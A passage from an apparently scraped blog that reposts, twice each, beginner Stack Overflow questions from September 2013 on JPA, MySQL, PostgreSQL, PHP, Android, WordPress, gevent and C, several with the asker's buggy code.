EnitytManager em = emf.createEntityManager();
// similar code as above to retrieve the user from the database
em.refresh(user);
}
The page which displays the notifications calls refreshUser() when it loads:
<f:metadata>
<f:event type="preRenderView"
listener="#{sessionManager.refreshUser()}" />
</f:metadata>
The user data is not refreshed though and notifications which are
displayed on the page are not updated when I refresh the page.
However if I change refreshUser() to:
public void refreshUser() {
EntityManager em = emf.createEntityManager();
List<NotificationBean> notifications =
em.createNativeQuery("SELECT * FROM NOTIFICATIONBEAN WHERE
RECEIVER_ID = " +
user.getId() + ";").getResultList();
user.setMatchChallengesReceived(notifications);
}
the notifications are updated.
I have more variable than notifications that I need to refresh from the
database and it would be a lot of code to do the same for each one. I
thought em.refresh(user) should reload all variables that have changed
from the database for me. I thought it is a caching issue, so I added
@Cacheable(false) to UserBean and NotificationBean, but it has no effect.
What am I doing wrong?
I have a problem with entities not being refreshed when values in the
database are changed from outside the JPA session. For instance, I have a
user entity:
@Entity
@Cacheable(false)
public class UserBean implements Serializable {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id;
@OneToMany(mappedBy = "receiver")
@JoinTable(name = "NOTIFICATIONS_RECEIVED")
private List<NotificationBean> notificationsReceived;
...
}
And notifications entity:
@Entity
@Cacheable(false)
public class NotificationBean implements Serializable{
@Id
@GeneratedValue
private Long id;
@ManyToOne
private UserBean receiver;
...
}
I use this inside a JSF application and have a SessionScoped bean, which
loads the user after login and stores it:
@Named("sessionManager")
@SessionScoped
public class SessionManagerBean implements Serializable {
@PersistenceUnit(unitName = "PU")
private EntityManagerFactory emf;
private UserBean user;
public UserBean getUser() throws Exception {
if (user == null) {
FacesContext context = FacesContext.getCurrentInstance();
HttpServletRequest request = (HttpServletRequest)
context.getExternalContext().getRequest();
String username = request.getRemoteUser();
if (username != null) {
EntityManager em = null;
try {
utx.begin();
em = emf.createEntityManager();
Query query = em.createQuery("SELECT u from UserBean u
WHERE u.username = ?1");
query.setParameter(1, username);
user = (UserBean) query.getSingleResult();
}
catch (Exception e) {
try {
utx.rollback();
} catch (Exception e) {
}
finally {
utx.commit();
em.close();
}
}
return user;
}
pubic void refreshUser() {
EnitytManager em = emf.createEntityManager();
// similar code as above to retrieve the user from the database
em.refresh(user);
}
The page which displays the notifications calls refreshUser() when it loads:
<f:metadata>
<f:event type="preRenderView"
listener="#{sessionManager.refreshUser()}" />
</f:metadata>
The user data is not refreshed though and notifications which are
displayed on the page are not updated when I refresh the page.
However if I change refreshUser() to:
public void refreshUser() {
EntityManager em = emf.createEntityManager();
List<NotificationBean> notifications =
em.createNativeQuery("SELECT * FROM NOTIFICATIONBEAN WHERE
RECEIVER_ID = " +
user.getId() + ";").getResultList();
user.setMatchChallengesReceived(notifications);
}
the notifications are updated.
I have more variable than notifications that I need to refresh from the
database and it would be a lot of code to do the same for each one. I
thought em.refresh(user) should reload all variables that have changed
from the database for me. I thought it is a caching issue, so I added
@Cacheable(false) to UserBean and NotificationBean, but it has no effect.
What am I doing wrong?
mysql insert record before last
mysql insert record before last
I have a small problem I have a database with the following records
tag
---
a
b
c
eof
eof must always be the last record
how can I insert a field before EOF to avoid this situation?
if i delete eof and insert a field and after insert eof, i found this
strange situation, mysql writes eof before ??
tag
---
a
b
c
eof
d
I tried it with order by but does not work I read the record positionally
thanks in advance
I have a small problem I have a database with the following records
tag
---
a
b
c
eof
eof must always be the last record
how can I insert a field before EOF to avoid this situation?
if i delete eof and insert a field and after insert eof, i found this
strange situation, mysql writes eof before ??
tag
---
a
b
c
eof
d
I tried it with order by but does not work I read the record positionally
thanks in advance
Custom Stylesheet instead of Inline CSS for Wordpress Customizer API Overrides
Custom Stylesheet instead of Inline CSS for Wordpress Customizer API
Overrides
I've looked at Wordpress Customizer API and it looks to be able to achieve
what I'm looking for; allowing the developer to set aside as many dynamic
styles which can later be configured by the Wordpress admin.
However, the recommended mechanism for injecting the styles is really not
cool. All guides I've read online and from Wordpress recommend they be
added inline to the Head of the document.
With the popularity of such documents flooding the net I was unable to
find a definitive guide on how to add these codes neatly to a stylesheet!
Can get theme mod() be called from a PHP stylesheet? Sorry please bear
with me as I'm just weeks into PHP and Wordpress documentation.
Any suggestions would be nice I'm sure there are many developers who would
not accept inline CSS.
Overrides
I've looked at Wordpress Customizer API and it looks to be able to achieve
what I'm looking for; allowing the developer to set aside as many dynamic
styles which can later be configured by the Wordpress admin.
However, the recommended mechanism for injecting the styles is really not
cool. All guides I've read online and from Wordpress recommend they be
added inline to the Head of the document.
With the popularity of such documents flooding the net I was unable to
find a definitive guide on how to add these codes neatly to a stylesheet!
Can get theme mod() be called from a PHP stylesheet? Sorry please bear
with me as I'm just weeks into PHP and Wordpress documentation.
Any suggestions would be nice I'm sure there are many developers who would
not accept inline CSS.
tomcat 7 openmore than one process
tomcat 7 openmore than one process
I'm running tomcat7 on Centos
I have to enter the same instance from more than one URL: one is by load
balancer and the second is direct connection to specific server for
monitor: lb.mydomain.com and web1.mydomain.com
The problem is that I have objects that serve all connections as
singeltons (use as cache objects). The moment I enter the tomcat from two
doains I see two cache objects but only one tomcat proccess (using grep)
I also have problem since I use JNI to load so library that can be loaded
only once.
How is it? Is it possible to block the tomcat7 to only one proccess (or
instance)?
I'm running tomcat7 on Centos
I have to enter the same instance from more than one URL: one is by load
balancer and the second is direct connection to specific server for
monitor: lb.mydomain.com and web1.mydomain.com
The problem is that I have objects that serve all connections as
singeltons (use as cache objects). The moment I enter the tomcat from two
doains I see two cache objects but only one tomcat proccess (using grep)
I also have problem since I use JNI to load so library that can be loaded
only once.
How is it? Is it possible to block the tomcat7 to only one proccess (or
instance)?
Dropdown Information Boxes
Dropdown Information Boxes
I am trying to create dropdown menus that contain information similar to
that of what this website has down in their main body.
http://www.alexanderresearch.com.au/index.php?option=com_moofaq&Itemid=3
I would like the functionality to be similar to that of these information
boxes, i would like some help in pointing me in the right direction to be
able to create this for my website. Any help would be appreciate, Thankyou
in advance!
I am trying to create dropdown menus that contain information similar to
that of what this website has down in their main body.
http://www.alexanderresearch.com.au/index.php?option=com_moofaq&Itemid=3
I would like the functionality to be similar to that of these information
boxes, i would like some help in pointing me in the right direction to be
able to create this for my website. Any help would be appreciate, Thankyou
in advance!
Saturday, 14 September 2013
Deactivate WordPress Plugin if URL is
Deactivate WordPress Plugin if URL is
I have installed SMS Validator so everyone who register to my site must
enter there phone number to sign-up
Now I have created a new function (link) to add a different type user role
if users sign-up by visit this link:
http://example.com/wp-login.php?action=register&role=vip_member
I want to turn OFF SMS Validator ONLY for this URL link.
Is it possible to do it somehow?
I have installed SMS Validator so everyone who register to my site must
enter there phone number to sign-up
Now I have created a new function (link) to add a different type user role
if users sign-up by visit this link:
http://example.com/wp-login.php?action=register&role=vip_member
I want to turn OFF SMS Validator ONLY for this URL link.
Is it possible to do it somehow?
Why does this gevent sleep only take 5 seconds?
Why does this gevent sleep only take 5 seconds?
I have this bit of code...
import gevent
import datetime as dt
td = dt.datetime.today # alias for convenience only
def f(i):
gevent.sleep(i)
print 'Done %s' %i
return i
jobs = [gevent.spawn(f, 5), gevent.spawn(f, 6), gevent.spawn(f, 7)]
tic = td()
gevent.joinall(jobs)
toc = td()
print (toc - tic)
# or alternatively in ipython
jobs = [gevent.spawn(f, 5), gevent.spawn(f, 6), gevent.spawn(f, 7)]
%time gevent.joinall(jobs)
Why does this only take 5 seconds and all 3 functions resume at once? I
would expect it to block for 7 seconds total, but print at 5, 6, and 7
seconds.
I have this bit of code...
import gevent
import datetime as dt
td = dt.datetime.today # alias for convenience only
def f(i):
gevent.sleep(i)
print 'Done %s' %i
return i
jobs = [gevent.spawn(f, 5), gevent.spawn(f, 6), gevent.spawn(f, 7)]
tic = td()
gevent.joinall(jobs)
toc = td()
print (toc - tic)
# or alternatively in ipython
jobs = [gevent.spawn(f, 5), gevent.spawn(f, 6), gevent.spawn(f, 7)]
%time gevent.joinall(jobs)
Why does this only take 5 seconds and all 3 functions resume at once? I
would expect it to block for 7 seconds total, but print at 5, 6, and 7
seconds.
MySQL foreign key ON DELETE SET NULL check data types error
MySQL foreign key ON DELETE SET NULL check data types error
I'm working on a normalised database, to be secure I wanted to use foreign
keys.
My database:
CREATE TABLE `names` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(250) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`),
KEY `name_2` (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name_id` int(11) DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `name_id` (`name_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
The command:
ALTER TABLE `names` ADD FOREIGN KEY ( `name` ) REFERENCES `temp`.`users` (
`name_id`
) ON DELETE SET NULL ON UPDATE CASCADE ;
The response (error):
Error creating foreign key on name (check data types)
So, how to fix this?
Thanks
I'm working on a normalised database, to be secure I wanted to use foreign
keys.
My database:
CREATE TABLE `names` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(250) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`),
KEY `name_2` (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name_id` int(11) DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `name_id` (`name_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
The command:
ALTER TABLE `names` ADD FOREIGN KEY ( `name` ) REFERENCES `temp`.`users` (
`name_id`
) ON DELETE SET NULL ON UPDATE CASCADE ;
The response (error):
Error creating foreign key on name (check data types)
So, how to fix this?
Thanks
Is this a good approach to add margin-left to H2 elements
Is this a good approach to add margin-left to H2 elements
I'd like some (not all) of my H2 headlines to have a left margin of 10px
compared to the "regular" H2 lines. I tried the below code which works but
was wondering if there's a better/cleaner way to achieve this. Thanks
HTML
<h2 class ="marginleft10px">Blablabla</h2>
CSS
h2 {
color: #2970A2;
font-weight: 300;
font-size: 18px;
}
.marginleft10px {
margin-left: 10px;
}
I'd like some (not all) of my H2 headlines to have a left margin of 10px
compared to the "regular" H2 lines. I tried the below code which works but
was wondering if there's a better/cleaner way to achieve this. Thanks
HTML
<h2 class ="marginleft10px">Blablabla</h2>
CSS
h2 {
color: #2970A2;
font-weight: 300;
font-size: 18px;
}
.marginleft10px {
margin-left: 10px;
}
Query android user dictionary return nothing
Query android user dictionary return nothing
I'm trying query words from UserDicionary but nothing is returned. What
I'm doing wrong?
here is my code:
Cursor cursor = getContentResolver().query(UserDictionary.Words.CONTENT_URI,
new String[] {UserDictionary.Words.WORD}, null, null, null);
cursor.moveToFirst();
while(cursor.moveToNext())
{
//nothing is logged...
Log.d("Palavra", cursor.getString(0));
}
I'm trying query words from UserDicionary but nothing is returned. What
I'm doing wrong?
here is my code:
Cursor cursor = getContentResolver().query(UserDictionary.Words.CONTENT_URI,
new String[] {UserDictionary.Words.WORD}, null, null, null);
cursor.moveToFirst();
while(cursor.moveToNext())
{
//nothing is logged...
Log.d("Palavra", cursor.getString(0));
}
Type of Web Service in .NET framework
Type of Web Service in .NET framework
Is the web service that can be constructed using the .NET framework SOAP
or REST? I am talking about the web service ending with .asmx and not the
WCF type.
Furthermore, what is the difference between SOAP and REST? Thank you very
much :)
Is the web service that can be constructed using the .NET framework SOAP
or REST? I am talking about the web service ending with .asmx and not the
WCF type.
Furthermore, what is the difference between SOAP and REST? Thank you very
much :)
C- strcpy function
C- strcpy function
I am trying to understand the following question and its answer but to no
avail.
8. What will be the value of string str after the following statements
have been executed?
strcpy(str,"tire-bouchon");
strcpy(&str[4],"d-or-wi");
strcpy(str,"red?");
The answer given is tired-or-wired?
I am trying to understand the following question and its answer but to no
avail.
8. What will be the value of string str after the following statements
have been executed?
strcpy(str,"tire-bouchon");
strcpy(&str[4],"d-or-wi");
strcpy(str,"red?");
The answer given is tired-or-wired?
checkbox issue in installed app in listview
checkbox issue in installed app in listview
I had refer these link , link , link , link
but my problem is not getting solved. i know there are many question
regarding this issue but my problem is
i have 4 class A,B,C,D
From class A i goto Class B where all installed apps listed in listview.
in Class B i send Packagelist to Class c (BaseAdapter class) and then
which apps user have selected will pass to Class A.
So my problem is where or how can i use POJO class to pass installed Apps
to baseadapter class and then how i can get all checked value(string app
name) and pass it to the Class A.
any help plz. if code require then tell me.
I had refer these link , link , link , link
but my problem is not getting solved. i know there are many question
regarding this issue but my problem is
i have 4 class A,B,C,D
From class A i goto Class B where all installed apps listed in listview.
in Class B i send Packagelist to Class c (BaseAdapter class) and then
which apps user have selected will pass to Class A.
So my problem is where or how can i use POJO class to pass installed Apps
to baseadapter class and then how i can get all checked value(string app
name) and pass it to the Class A.
any help plz. if code require then tell me.
Friday, 13 September 2013
POSTGRES: problems on functions in workweek
POSTGRES: problems on functions in workweek
Im newbie on postgres function and im trying to work on a working business
hours using a function and getting the following error when i combine the
two functions
1st function: Get the time in date ranged.
RUN: SELECT f_work('2013-09-13 06:00','2013-09-13 07:00')
Result: 01:00
CREATE OR REPLACE FUNCTION public.f_work (
t_start timestamp,
t_end timestamp
)
RETURNS interval AS
$body$
SELECT (count(*) - 1) * interval '1 min'
FROM (
SELECT $1 + generate_series(0, (extract(epoch FROM $2 - $1)/60)::integer)
* interval '1 min' AS t
) sub
WHERE extract(ISODOW from t) > 0
AND t::time >= '06:00'::time
AND t::time < '19:00'::time
$body$
LANGUAGE 'sql'
2nd function: Convert time in minutes.
RUN: select to_min('01:00')
Result: 60
CREATE OR REPLACE FUNCTION to_min(t text)
RETURNS integer AS
$BODY$
DECLARE
hs INTEGER;
ms INTEGER;
BEGIN
SELECT (EXTRACT(HOUR FROM t::time) * 60) INTO hs;
SELECT (EXTRACT(MINUTES FROM t::time)) INTO ms;
SELECT (hs + ms) INTO ms;
RETURN ms;
END;
$BODY$
LANGUAGE 'plpgsql';
Joining the two function i got and error:
CREATE OR REPLACE FUNCTION f_bizwork(t_start timestamp,t_end timestamp)
RETURNS integer AS
$BODY$
DECLARE
hs INTEGER;
ms INTEGER;
BEGIN
SELECT (count(*) - 1) * interval '1 min'
FROM (
SELECT $1 + generate_series(0, (extract(epoch FROM $2 - $1)/60)::integer)
* interval '1 min' AS t
) sub
WHERE extract(ISODOW from t) >0
AND t::time >= '06:00'::time
AND t::time < '19:01'::time;
SELECT (EXTRACT(HOUR FROM sub::time) * 60) INTO hs;
SELECT (EXTRACT(MINUTES FROM sub::time)) INTO ms;
SELECT (hs + ms) INTO ms;
RETURN ms;
END;
$BODY$
LANGUAGE 'plpgsql';
Im newbie on postgres function and im trying to work on a working business
hours using a function and getting the following error when i combine the
two functions
1st function: Get the time in date ranged.
RUN: SELECT f_work('2013-09-13 06:00','2013-09-13 07:00')
Result: 01:00
CREATE OR REPLACE FUNCTION public.f_work (
t_start timestamp,
t_end timestamp
)
RETURNS interval AS
$body$
SELECT (count(*) - 1) * interval '1 min'
FROM (
SELECT $1 + generate_series(0, (extract(epoch FROM $2 - $1)/60)::integer)
* interval '1 min' AS t
) sub
WHERE extract(ISODOW from t) > 0
AND t::time >= '06:00'::time
AND t::time < '19:00'::time
$body$
LANGUAGE 'sql'
2nd function: Convert time in minutes.
RUN: select to_min('01:00')
Result: 60
CREATE OR REPLACE FUNCTION to_min(t text)
RETURNS integer AS
$BODY$
DECLARE
hs INTEGER;
ms INTEGER;
BEGIN
SELECT (EXTRACT(HOUR FROM t::time) * 60) INTO hs;
SELECT (EXTRACT(MINUTES FROM t::time)) INTO ms;
SELECT (hs + ms) INTO ms;
RETURN ms;
END;
$BODY$
LANGUAGE 'plpgsql';
Joining the two function i got and error:
CREATE OR REPLACE FUNCTION f_bizwork(t_start timestamp,t_end timestamp)
RETURNS integer AS
$BODY$
DECLARE
hs INTEGER;
ms INTEGER;
BEGIN
SELECT (count(*) - 1) * interval '1 min'
FROM (
SELECT $1 + generate_series(0, (extract(epoch FROM $2 - $1)/60)::integer)
* interval '1 min' AS t
) sub
WHERE extract(ISODOW from t) >0
AND t::time >= '06:00'::time
AND t::time < '19:01'::time;
SELECT (EXTRACT(HOUR FROM sub::time) * 60) INTO hs;
SELECT (EXTRACT(MINUTES FROM sub::time)) INTO ms;
SELECT (hs + ms) INTO ms;
RETURN ms;
END;
$BODY$
LANGUAGE 'plpgsql';
Converting to OOP code stopped working
Converting to OOP code stopped working
I am trying to convert my functions file into an OOP file since I have
been reading that its that way to go. I am still learning and am still
confused about a lot in OOP but figured I would convert some things to
help understand it better. I am running into some trouble right now trying
to get data from my database. I am not getting anything printed to the
screen, no error messages either. What did I do wrong?
<?php
require 'resources/library/DB.php';
error_reporting(E_ALL);
$username = "test";
class userFunctions{
public function checkLogin($conn,$username) {
try{
$stmt = $conn->prepare('SELECT `password` FROM `users` WHERE
`userName`= :userName');
$stmt->bindValue(':userName', $username);
$stmt->execute();
$salt = $stmt->fetchColumn();
} catch (PDOException $e){
echo 'Connection failed: ' . $e->getMessage();
}
return $salt;
}
}
$a = new userFunctions;
$a->checkLogin($conn, $username);
echo $salt;
?>
I am trying to convert my functions file into an OOP file since I have
been reading that its that way to go. I am still learning and am still
confused about a lot in OOP but figured I would convert some things to
help understand it better. I am running into some trouble right now trying
to get data from my database. I am not getting anything printed to the
screen, no error messages either. What did I do wrong?
<?php
require 'resources/library/DB.php';
error_reporting(E_ALL);
$username = "test";
class userFunctions{
public function checkLogin($conn,$username) {
try{
$stmt = $conn->prepare('SELECT `password` FROM `users` WHERE
`userName`= :userName');
$stmt->bindValue(':userName', $username);
$stmt->execute();
$salt = $stmt->fetchColumn();
} catch (PDOException $e){
echo 'Connection failed: ' . $e->getMessage();
}
return $salt;
}
}
$a = new userFunctions;
$a->checkLogin($conn, $username);
echo $salt;
?>
Android first applicaiton all my views are skewed
Android first applicaiton all my views are skewed
I created my first application. learning Android now. this is my main
activity:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/
android"
android:layout_width="fill_parent"
Creating Your First Android Application ❘ 25
android:layout_height="fill_parent"
android:orientation="vertical" >
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello" />
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="This is my first Android Application!" />
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="And this is a clickable button!" />
</LinearLayout>
But my items on the layout are skewed. Can anyone help, please?
Here is the link of the view
http://screencast.com/t/JmA3r48rosjM
Much Thanks,
T
I created my first application. learning Android now. this is my main
activity:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/
android"
android:layout_width="fill_parent"
Creating Your First Android Application ❘ 25
android:layout_height="fill_parent"
android:orientation="vertical" >
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello" />
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="This is my first Android Application!" />
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="And this is a clickable button!" />
</LinearLayout>
But my items on the layout are skewed. Can anyone help, please?
Here is the link of the view
http://screencast.com/t/JmA3r48rosjM
Much Thanks,
T
Add a function to slidetoggle just when open
Add a function to slidetoggle just when open
Hi I just make a div that shows a Map on Google, where you set cordinates
etc, anyway first problem was when animating height, the map inside have
this problem on size :
how to deal with google map inside of a hidden div (Updated picture)
I fix it just like the first answer calling initialize(); in my
slideToggle this fix the size issue.. The problem is that initialize();
takes the same time as the slideToggle so i lose the height animation, it
just dissapear,
IS there anyway to tigger initialize(); just when slidetoggle Open the div?
<script>
$('.dropdownmap').click(function(){
$('#mapDisplayWrap').slideToggle();
initialize();
})
</script>
Hi I just make a div that shows a Map on Google, where you set cordinates
etc, anyway first problem was when animating height, the map inside have
this problem on size :
how to deal with google map inside of a hidden div (Updated picture)
I fix it just like the first answer calling initialize(); in my
slideToggle this fix the size issue.. The problem is that initialize();
takes the same time as the slideToggle so i lose the height animation, it
just dissapear,
IS there anyway to tigger initialize(); just when slidetoggle Open the div?
<script>
$('.dropdownmap').click(function(){
$('#mapDisplayWrap').slideToggle();
initialize();
})
</script>
how to format email body for the text send through php script
how to format email body for the text send through php script
Hello I have one contact us page, in which i have one textarea for the
description, there user will type his/her message. I want that message to
be send in mail body as it is with all the formatting in it. I am getting
description from php script
$header = "Content-type: text/html\n";
$Description = $_REQUEST["txtDescription"];
mail($To, $Subject, $Description, $header);
I have defined $To, $Subject, $header. Mail is going perfectly. I want
message to be displayed in mail body, as user typed in textarea with
formatting (like enter)
Hello I have one contact us page, in which i have one textarea for the
description, there user will type his/her message. I want that message to
be send in mail body as it is with all the formatting in it. I am getting
description from php script
$header = "Content-type: text/html\n";
$Description = $_REQUEST["txtDescription"];
mail($To, $Subject, $Description, $header);
I have defined $To, $Subject, $header. Mail is going perfectly. I want
message to be displayed in mail body, as user typed in textarea with
formatting (like enter)
Thursday, 12 September 2013
Node.js Express handle errors function
Node.js Express handle errors function
In express app, I researched that we can handle error using something like
this:
// app.js
app.use(function (error, req, res, next) {
// Handle errors
});
my questions are:
am I right that this function will be called only if there is an error? I
could not get this function to call if there is no error. Am I missing
anything?
is there any case that this function will get called even there is no error?
Thanks
In express app, I researched that we can handle error using something like
this:
// app.js
app.use(function (error, req, res, next) {
// Handle errors
});
my questions are:
am I right that this function will be called only if there is an error? I
could not get this function to call if there is no error. Am I missing
anything?
is there any case that this function will get called even there is no error?
Thanks
How to encrypt traffic using SSL on iOS?
How to encrypt traffic using SSL on iOS?
I'm writing an iOS app that communicates with a server of my own making
over TCP. Currently it's not encrypted but I'd like to encrypt the traffic
as easily as possible while still doing it properly. Instead of
implementing my own encryption scheme, which would likely be broken since
I have close to no experience with cryptography, I'd like to use an
existing system... to that end, what's the simplest way on the iPhone to
set up the client-end of an SSL connection? Note that I can't just use
HTTPS because the connection isn't over HTTP.
I'm writing an iOS app that communicates with a server of my own making
over TCP. Currently it's not encrypted but I'd like to encrypt the traffic
as easily as possible while still doing it properly. Instead of
implementing my own encryption scheme, which would likely be broken since
I have close to no experience with cryptography, I'd like to use an
existing system... to that end, what's the simplest way on the iPhone to
set up the client-end of an SSL connection? Note that I can't just use
HTTPS because the connection isn't over HTTP.
php include html adds white spaces
php include html adds white spaces
I'm having troubles with multiple html pages include. I had main
index.html but it started to be a bit too complex so I decided to split it
in multiple html files and each one of them inport into single index.php
using php.
index.php file
<?php
include('head.html');
include('header.html');
include('slideshow.html');
include('pictureGalery.html');
include('footer.html');
include('closer.html');
?>
using Google Chrome Developer Tool I found, that php includes included
also some white spaces (you can see them in picture in between of divs
header, content, container etc... With a bit of googling I found some
arciles about this problem, like:
PHP include causes white space at the top of the page (I can't use edit
cmd command because I have win7 64-bit and it is not implemented there.
You can only use "open notepad " command, but these whitespaces are not
visible in notepad.
UTF-8 Without BOM?
PHP include() before doctype, causing a white space
I also tried to import reset.css file
(http://meyerweb.com/eric/tools/css/reset/) but it didnt work either. The
only way that seems to work for me is one that posted cebasso
(http://stackoverflow.com/a/14362246/1784053). But I find this way a bit
too agresive and unefective.
Any other ideas how to fix this problem?
I'm having troubles with multiple html pages include. I had main
index.html but it started to be a bit too complex so I decided to split it
in multiple html files and each one of them inport into single index.php
using php.
index.php file
<?php
include('head.html');
include('header.html');
include('slideshow.html');
include('pictureGalery.html');
include('footer.html');
include('closer.html');
?>
using Google Chrome Developer Tool I found, that php includes included
also some white spaces (you can see them in picture in between of divs
header, content, container etc... With a bit of googling I found some
arciles about this problem, like:
PHP include causes white space at the top of the page (I can't use edit
cmd command because I have win7 64-bit and it is not implemented there.
You can only use "open notepad " command, but these whitespaces are not
visible in notepad.
UTF-8 Without BOM?
PHP include() before doctype, causing a white space
I also tried to import reset.css file
(http://meyerweb.com/eric/tools/css/reset/) but it didnt work either. The
only way that seems to work for me is one that posted cebasso
(http://stackoverflow.com/a/14362246/1784053). But I find this way a bit
too agresive and unefective.
Any other ideas how to fix this problem?
SQL - update column based on similar column
SQL - update column based on similar column
Were using sql 2008, a sample of the table. I am trying to cleanup(then
will delete duplicates later) where the prev_date field is different when
item# is the same. I want to update both records with the max(prev_date).
Im having a hard time figuring out how to do this for multiple records
with a single statement
key item(int) prev_date(int)
--------------------------------------------------------------------
15086 1163 20121023
16289 1163 20130121
15087 1164 20121024
16290 1164 20130120
15088 1165 20121029
16291 1165 20130120
Were using sql 2008, a sample of the table. I am trying to cleanup(then
will delete duplicates later) where the prev_date field is different when
item# is the same. I want to update both records with the max(prev_date).
Im having a hard time figuring out how to do this for multiple records
with a single statement
key item(int) prev_date(int)
--------------------------------------------------------------------
15086 1163 20121023
16289 1163 20130121
15087 1164 20121024
16290 1164 20130120
15088 1165 20121029
16291 1165 20130120
convert date dd/mm/yyyy format from a form to timestamp?
convert date dd/mm/yyyy format from a form to timestamp?
I have a form requiring date in dd/mm/yyyy format and I've tried to
convert it to a timestamp with strtotime() function
but I've seen it works only if you fill the form with date written like
dd-mm-yyyy
how could i solve? I don't know abroad but here in Italy nobody writes
dates like that dd-mm-yyyy
I have a form requiring date in dd/mm/yyyy format and I've tried to
convert it to a timestamp with strtotime() function
but I've seen it works only if you fill the form with date written like
dd-mm-yyyy
how could i solve? I don't know abroad but here in Italy nobody writes
dates like that dd-mm-yyyy
Configuring SVN branches in IntelliJ IDEA 12
Configuring SVN branches in IntelliJ IDEA 12
To begin with: I already consulted JetBrain's Web Help but it did not
provide me with any further help.
I am new to IntelliJ IDEA (using 12.1.4) and have some difficulties
configuring SVN branches.
My repository's structure is looks about this:
/svn.local/some/path/PROJECT/trunk
/svn.local/some/path/PROJECT/branches/dev/{different dev Branches in
sub-folders}
/svn.local/some/path/PROJECT/branches/test
/svn.local/some/path/PROJECT/branches/prod
As you can see, I have different development branches (each stored in a
sub-folder of [..]/branches/dev) but just one test and one prod branch.
My branch configuration works perfectly with the trunk and the dev
branches (as there are sub-folders) but not with test and prod.
Is it possible to configure SVN integratoin that I can access test and dev
as I am able to do with trunk and dev or would I have to re-structure the
whole repository?
To begin with: I already consulted JetBrain's Web Help but it did not
provide me with any further help.
I am new to IntelliJ IDEA (using 12.1.4) and have some difficulties
configuring SVN branches.
My repository's structure is looks about this:
/svn.local/some/path/PROJECT/trunk
/svn.local/some/path/PROJECT/branches/dev/{different dev Branches in
sub-folders}
/svn.local/some/path/PROJECT/branches/test
/svn.local/some/path/PROJECT/branches/prod
As you can see, I have different development branches (each stored in a
sub-folder of [..]/branches/dev) but just one test and one prod branch.
My branch configuration works perfectly with the trunk and the dev
branches (as there are sub-folders) but not with test and prod.
Is it possible to configure SVN integratoin that I can access test and dev
as I am able to do with trunk and dev or would I have to re-structure the
whole repository?
Wednesday, 11 September 2013
using push and pop in a stack
using "push" and "pop" in a stack
I have an assignment that is asking me to fill up a stack with random
variables and pop them out in a FILO order. Whilst I managed to get it to
fill the stack, it seems to be popping out the last element and nothing
else. I'm not sure why. Any help would be appreciated.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define STACK_SIZE 10
#define STACK_EMPTY -1
void push(char [], // input/ouput - the stack
char, // input - data being pushed onto the stack
int *, // input/output - pointer to the index of the top of stack
int); // constant - maximum size of stack
char // output - data being popped out from the stack
pop(char [], // input/output - the stack
int *); // input/output - pointer to the index of the top of stack
void push(char stack[],char item,int *top,int max_size){
stack[*top++] =item;
}
char pop(char stack[],int *top){
return stack[*top--];
}
int main(){
char s[STACK_SIZE];
int s_top = STACK_EMPTY; // Pointer points to the index of the top of
the stack
char randChar = ' ';
int i = 0;
int j=0;
int randNum = 0;
srand(time(NULL));
for (i = 0; i < STACK_SIZE; i++){
randNum = 33 + (int)(rand() % ((126-33)+ 1 ));
randChar = (char) randNum;
push(s,randChar, &s_top, STACK_SIZE);
printf ("Random char: %c\n", randChar);
}
printf("-----------\n");
for(j=STACK_SIZE; j>0; j--){
printf("Random chars:%c\n", pop(s, &s_top));
}
return 0;
}
I have an assignment that is asking me to fill up a stack with random
variables and pop them out in a FILO order. Whilst I managed to get it to
fill the stack, it seems to be popping out the last element and nothing
else. I'm not sure why. Any help would be appreciated.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define STACK_SIZE 10
#define STACK_EMPTY -1
void push(char [], // input/ouput - the stack
char, // input - data being pushed onto the stack
int *, // input/output - pointer to the index of the top of stack
int); // constant - maximum size of stack
char // output - data being popped out from the stack
pop(char [], // input/output - the stack
int *); // input/output - pointer to the index of the top of stack
void push(char stack[],char item,int *top,int max_size){
stack[*top++] =item;
}
char pop(char stack[],int *top){
return stack[*top--];
}
int main(){
char s[STACK_SIZE];
int s_top = STACK_EMPTY; // Pointer points to the index of the top of
the stack
char randChar = ' ';
int i = 0;
int j=0;
int randNum = 0;
srand(time(NULL));
for (i = 0; i < STACK_SIZE; i++){
randNum = 33 + (int)(rand() % ((126-33)+ 1 ));
randChar = (char) randNum;
push(s,randChar, &s_top, STACK_SIZE);
printf ("Random char: %c\n", randChar);
}
printf("-----------\n");
for(j=STACK_SIZE; j>0; j--){
printf("Random chars:%c\n", pop(s, &s_top));
}
return 0;
}
iOS 7 Back Button Symbol?
iOS 7 Back Button Symbol?
I really like the shape of the back button arrow in iOS 7, and would like
to use it on one of my UIButtons, but like > instead of <. Would there be
a way with text, or should I just use images?
I really like the shape of the back button arrow in iOS 7, and would like
to use it on one of my UIButtons, but like > instead of <. Would there be
a way with text, or should I just use images?
Injecting jQuery or any JS library into an iFrame
Injecting jQuery or any JS library into an iFrame
I have the following code which basically tries to execute HTML, CSS and
